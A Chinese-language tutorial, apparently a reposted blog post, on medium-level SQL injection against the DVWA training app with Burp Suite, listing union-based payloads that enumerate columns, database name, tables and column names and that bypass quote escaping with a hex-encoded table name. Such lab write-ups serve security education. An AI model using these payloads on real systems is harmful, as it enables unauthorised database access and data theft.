sql 数组_sql注入中级
POST注入借助Burpsuite工具
將DVWA Security調到Medium
1,查詢User ID為3,點擊Submit,先分析一下php源代碼
首先我們可知這是POST型,先檢查一下User Id 是否為空,如果為空執行下列操作,先賦值id,然后轉義在 SQL 語句中使用的字符串中的特殊字符。之后在數據庫中查詢數據,將結果輸出給result,從結果集中取得一行關聯數組賦值到row,依次輸出first name,sunname。最后關閉函數。因為稍后再index.php?page使用,所以我們可以在此處進行設置,以便我們可以像在其余源腳本中一樣在此處關閉數據庫連接
2.函數分析
(1)mysqli_fetch_row():從結果集中取得一行,并作為枚舉數組返回。
(2)mysqli_real_escape_string():轉義在 SQL 語句中使用的字符串中的特殊字符。
其余函數在初級文檔說明,在此篇不做重復闡述
3.進行實際操作
在bp軟件中,當USER ID=3時,出現如下界面,為了方便,我們把他轉到Repeater下,點擊Action,然后Send to Repeater
在箭頭指向部分將id=3改為id=3’,然后點擊Go
在id=3’時會出現如下錯誤,這是因為有轉義字符\,單引號失效,需要進行繞過,后續會講怎樣繞過。
sql語句查詢列數,在箭頭那輸入id=3 order by 2后點擊Go,出現右面的結果
sql語句查詢位置輸入id=3 union select 1,2#
sql語句查詢數據庫名3 union select database(),2#
sql語句查詢數據表名3 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#
查詢user表中列名(對方使用轉義字符屏蔽’ , “等特殊字符,使用繞過方法,可以使用users對應的ascii碼進行繞過)id=3 union select group_concat(column_name),2 from information_schema.columns where table_name =’users’#
如何找users的ASCII,在Decoder中的Encode as 下找到ASCII hex就可出下面的
id=3 union select group_concat(column_name),2 from information_schema.columns where table_name =0x7573657273#
獲取數據
本文介紹的是中級SQL注入,將持續更新SQL注入高級以及盲注,歡迎大家點贊和收藏,您的支持是我創作的最大動力!
創作挑戰賽新人創作獎勵來咯,堅持創作打卡瓜分現金大獎總結
以上是生活随笔為你收集整理的sql 数组_sql注入中级的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 驱遣我们的想象教学反思
- 下一篇: 活跃用户数怎么计算_留存率计算